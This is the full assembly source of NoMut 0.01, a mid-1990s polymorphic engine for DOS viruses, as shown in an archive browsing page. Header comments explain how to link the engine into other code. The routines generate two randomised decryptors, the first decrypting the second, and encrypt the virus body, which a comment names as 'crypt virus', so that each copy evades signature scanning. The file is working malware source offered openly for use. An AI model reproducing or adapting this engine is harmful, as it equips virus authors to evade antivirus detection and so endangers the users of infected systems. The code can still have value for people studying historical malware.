home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / PMUPDT13.ZIP / NOMUT.ZIP / NOMUT001.ASM next >
Encoding:
Assembly Source File  |  1995-08-16  |  5.1 KB  |  264 lines

  1. ;
  2. ;NoMut Version 0.01
  3. ;
  4. ;NoMut is a polymorphic engine like every other one with two major
  5. ;differences:
  6. ;        1. It doesn't generate junk instructions.
  7. ;        2. It generates two decryptors where the first
  8. ;           decrypts the second one.
  9. ;
  10. ;NoMut is utilised as an object file.  You can use following public symbols:
  11. ;- mutate : near    The work horse.
  12. ;- mylen  : offset  The size of the engine code.
  13. ;
  14. ;Mutate needs the following call parameters:
  15. ;        DS:SI   Pointer to the unencrypted code.
  16. ;        CX      Size of the unencrypted code.
  17. ;        BP      Offset the decryptor should work on later.
  18. ;        ES      Work segment.
  19. ;The decryptor is always created at ES:0.
  20. ;Mutate only produces this output:
  21. ;        CX      Size of encrypted code including decryptors.
  22. ;
  23. ;NoMut must always be run at the offset that is specified upon compilation.
  24. ;
  25.  
  26. .model small
  27. .code
  28.  
  29. public mutate
  30. public mylen
  31.  
  32. adr_reg         db      3,6,7           ; bx, si, di
  33. adr2_reg        db      7,4,5
  34. reg_1           dw      0
  35. begin           dw      ?
  36. count           dw      ?
  37. addres1         dw      ?
  38. addres2         dw      ?
  39. cond_jmp        dw      ?
  40. fix             dw      ?
  41. loop_beg        dw      ?
  42. code_ptr        dw      ?,?
  43. e_val1          db      ?
  44. e_met1          db      ?
  45. e_val2          db      ?
  46. e_met2          db      ?
  47.  
  48. extrn   random:near
  49.  
  50. ; Input: DS:SI Code to crypt
  51. ;        CX size of code to crypt
  52. ;        BP running offset of decryptor
  53. ;        ES working segment
  54. mutate:
  55. assume  ds:nothing
  56.     ; save params
  57.     mov     code_ptr,si
  58.     mov     code_ptr+2,ds
  59. assume  ds:dgroup
  60.     push    cs
  61.     pop     ds
  62.     mov     count,cx
  63.     mov     begin,bp
  64.     ; generate randoms
  65.     mov     ah,2
  66.     call    random
  67.     mov     byte ptr reg_1,al
  68.     mov     ah,0feh
  69.     call    random
  70.     inc     al
  71.     mov     e_val1,al
  72.     mov     ah,1h
  73.     call    random
  74.     inc     al
  75.     mov     e_met1,al
  76.     xor     di,di
  77.     call    generate
  78. ;       mov     bx,addres1
  79. ;       add     word ptr es:[bx],di
  80.     mov     bx,addres2
  81.     add     word ptr es:[bx],di
  82.     mov     bx,fix
  83.     sub     word ptr es:[bx],di
  84.     add     begin,di
  85.     push    di
  86.     mov     al,e_val1
  87.     mov     e_val2,al
  88.     mov     al,e_met1
  89.     mov     e_met2,al
  90. retry_e:
  91.     mov     ah,0feh
  92.     call    random
  93.     inc     al
  94.     cmp     al,e_val2
  95.     je      retry_e
  96.     mov     e_val1,al
  97.     mov     ah,1h
  98.     call    random
  99.     mov     e_met1,al
  100.     call    generate
  101.     pop     bx
  102.     cld
  103. assume  ds:nothing
  104.     ; crypt second decryptor
  105.     push    di
  106.     mov     ax,es
  107.     mov     ds,ax
  108.     mov     cx,di
  109.     mov     di,bx
  110.     mov     si,di
  111.     sub     cx,di
  112.     mov     ah,e_val2
  113. encr_l1:
  114.     lodsb
  115.     cmp     e_met2,1
  116.     jz      add_1
  117.     xor     al,ah
  118.     jmp     done_1
  119. add_1:
  120.     sub     al,ah
  121. done_1:
  122.     stosb
  123.     loop    encr_l1
  124.     pop     di
  125.     ; crypt virus
  126.     lds     si,dword ptr code_ptr
  127.     mov     cx,count
  128.     mov     bl,e_val2
  129.     xor     bh,e_val1
  130. encr_loop:
  131.     lodsb
  132.     cmp     e_met1,1
  133.     jz      add_2
  134.     xor     al,bh
  135.     jmp     done_2
  136. add_2:
  137.     sub     al,bh
  138. done_2:
  139.     cmp     e_met2,1
  140.     jz      add_3
  141.     xor     al,bl
  142.     jmp     done_3
  143. add_3:
  144.     sub     al,bl
  145. done_3:
  146.     stosb
  147.     loop    encr_loop
  148.  
  149.     mov     cx,di
  150.     ret
  151.  
  152. generate:
  153.     ; generate address init
  154.     mov     bx,reg_1
  155.     cld
  156.     mov     al,0B8h
  157.     or      al,adr_reg[bx]
  158.     stosb
  159.     mov     addres1,di
  160.     add     di,2                    ; keep free
  161.     ; store loop_beg
  162.     mov     loop_beg,di
  163.     ; generate address test
  164.     mov     ax,0F881h
  165.     or      ah,adr_reg[bx]
  166.     stosw
  167.     mov     addres2,di
  168.     add     di,2                    ; keep free
  169.     ; generate JNE
  170.     mov     al,75h
  171.     stosb
  172.     mov     cond_jmp,di
  173.     inc     di                      ; keep free
  174.     ; generate fix
  175.     mov     ax,8081h
  176.     mov     bx,reg_1
  177.     or      ah,adr2_reg[bx]
  178.     stosw
  179.     mov     fix,di
  180.     add     di,4                    ; keep free
  181. ;       mov     al,53h
  182. ;       stosb
  183. ;       mov     ax,000BBh
  184. ;       stosw
  185. ;       mov     ax,0C601h
  186. ;       stosw
  187. ;       mov     ax,0C307h
  188. ;       stosw
  189. ;       mov     ax,0d3FFh
  190. ;       stosw
  191. ;       mov     al,5bh
  192. ;       stosb
  193.     ; generate Prefetch Queue-Cleaner
  194.     mov     al,0EBh
  195.     stosb
  196.     mov     ax,9001h
  197.     stosw
  198.     ; fix conditional jump
  199.     mov     ax,di
  200.     push    di
  201.     mov     di,cond_jmp
  202.     sub     ax,di
  203.     dec     ax
  204.     stosb
  205.     pop     di
  206.  
  207.     ; generate decoder
  208.     ; just XOR now
  209.     mov     bx,reg_1
  210.     mov     ax,3080h
  211.     cmp     e_met1,1
  212.     jnz     done_4
  213.     mov     ah,00h
  214. done_4:
  215.     or      ah,adr2_reg[bx]
  216.     stosw
  217.     mov     al,e_val1
  218.     stosb
  219.  
  220.     ; generate increase address
  221.     mov     al,40h
  222.     or      al,adr_reg[bx]
  223.     stosb
  224.     ; generate jump back
  225.     mov     al,0E9h
  226.     stosb
  227.     mov     cx,di                   ; later used for inserting in fix
  228.     mov     ax,loop_beg
  229.     sub     ax,di
  230.     dec     ax
  231.     dec     ax
  232.     stosw
  233.     ; save pos right after decryptor
  234.     push    di
  235.     ; fix the fix
  236. ;       mov     ax,cx
  237. ;       add     ax,bp
  238.     mov     ax,cx
  239.     sub     ax,count
  240.     sub     ax,di
  241.     mov     cx,di
  242.     mov     di,fix
  243.     stosw
  244.     mov     ax,cx
  245.     sub     ax,loop_beg
  246.     stosw
  247.     ; fix address in adress init
  248.     mov     di,addres1
  249.     mov     ax,cx
  250.     add     ax,bp
  251.     stosw
  252.     ; fix address in compare
  253.     mov     di,addres2
  254.     add     ax,count
  255.     stosw
  256.     ; restore pos after decryptor
  257.     pop     di
  258.     ret
  259.  
  260.  
  261. mylen:
  262.  
  263. end
  264.